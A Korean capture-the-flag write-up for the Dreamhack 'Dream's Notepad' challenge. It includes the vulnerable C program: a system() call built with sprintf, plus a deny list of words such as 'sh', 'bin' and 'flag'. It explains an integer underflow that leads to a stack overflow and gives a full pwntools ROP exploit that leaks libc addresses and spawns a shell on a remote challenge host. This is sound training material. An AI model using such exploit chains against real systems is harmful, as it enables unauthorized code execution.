dreamhack - Dream's Notepad writeup
[dreamhack] Dream’s Notepad writeup
1. 문제

Dream's Notepad
드림이가 메모장 프로그램을 만들었어요!
취약점을 찾아 드림이가 숨겨둔 메모인 플래그를 읽어보세요!
2. 풀이
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void Initalize(){
setvbuf(stdin, (char *)NULL, _IONBF, 0);
setvbuf(stdout, (char *)NULL, _IONBF, 0);
setvbuf(stderr, (char *)NULL, _IONBF, 0);
}
void main()
{
Initalize();
puts("Welcome to Dream's Notepad!\n");
char title[10] = {0,};
char content[64] = {0,};
puts("-----Enter the content-----");
read(0, content, sizeof(content) - 1);
for (int i = 0; content[i] != 0; i++)
{
if (content[i] == '\n')
{
content[i] = 0;
break;
}
}
if(strstr(content, ".") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "/") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, ";") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "*") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "cat") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "echo") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "flag") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "sh") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "bin") != NULL) {
puts("It can't be..");
return;
}
char tmp[128] = {0,};
sprintf(tmp, "echo %s > /home/Dnote/note", content);
system(tmp);
FILE* p = fopen("/home/Dnote/note", "r");
unsigned int size = 0;
if (p > 0)
{
fseek(p, 0, SEEK_END);
size = ftell(p) + 1;
fclose(p);
remove("/home/Dnote/note");
}
char message[256];
puts("\n-----Leave a message-----");
read(0, message, size - 1);
puts("\nBye Bye!!:-)");
}
content
변수에 입력을 받고, 문자열 필터링을 통해 민감한 단어들을 걸러준다. 이걸 우회하거나 다른 취약점을 찾아야한다.
여기서 맹점은 p > 0
일 때만 파일에 입력한 내용을 받아서 size
변수를 업데이트한다는 것이다. 그래서 만약 파일이 없거나 열리지않게 되면 size
는 0인 상태로 있는 것이고, 그러면 마지막 read
함수에서 size - 1
을 할 때 -1
이 들어가게 되면서 underflow가 발생한다. 이러면 message
변수에 우리가 거의 원하는 만큼 bof
를 할 수 있다…
ubuntu@instance-20250406-1126:~/dreamhack/level2/Dreams_Notepad$ checksec Notepad
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Dreams_Notepad/Notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
마침 No PIE
에 canary
도 없기 때문에 손쉽게 bof
가 가능하다. 그리고 Partial RELRO
이기 때문에 GOT overwrite
도 가능하다.
이걸 이용해서 시나리오를 짜보면,
-
puts@plt
로read@got
와puts@got
에 들어간 값을 출력하게 하고main
함수로 다시 돌린다. - 이 값을 기준으로
libc
버전을 얻어서libcbase
와system
,binsh
를 계산해준 다음, -
system("/bin/sh")
를 실행하게한다.
문제에서 libc
파일이 주어지지않았기 때문에 함수 2개의 got
에 들어간 값을 출력시켜서 offset을 구해서 libc
버전을 얻을 수 있었다. 얻는 사이트는 아래와 같다.
libc-database
https://libc.rip
최종 exploit은 아래와 같다.
from pwn import *
p = process("./Notepad")
p = remote("host3.dreamhack.games", 15361)
elf = ELF("./Notepad")
pop_rdi = 0x0000000000400c73
p.sendafter(b"-----Enter the content-----\n", "'")
payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(elf.got["read"])
payload += p64(0x400730) # puts_plt
payload += p64(elf.symbols["main"])
p.sendafter(b"-----Leave a message-----\n", payload)
p.recvuntil(b"Bye Bye!!:-)\n")
read_got = u64(p.recv(6) + b"\x00" * 2)
print(hex(read_got))
p.sendafter(b"-----Enter the content-----\n", "'")
payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(0x400730)
payload += p64(elf.symbols["main"])
p.sendafter(b"-----Leave a message-----\n", payload)
p.recvuntil(b"Bye Bye!!:-)\n")
puts_got = u64(p.recv(6) + b"\x00" * 2)
print(hex(puts_got))
libcbase = puts_got - 0x6f6a0 # from libc.rip
p.sendafter(b"-----Enter the content-----\n", "'")
payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(libcbase + 0x18ce57)
payload += p64(libcbase + 0x453a0)
p.sendafter(b"-----Leave a message-----\n", payload)
p.recvuntil(b"Bye Bye!!:-)\n")
p.interactive()
필터링을 우회해서 푸신 분들도 많았다.
아무튼 해결~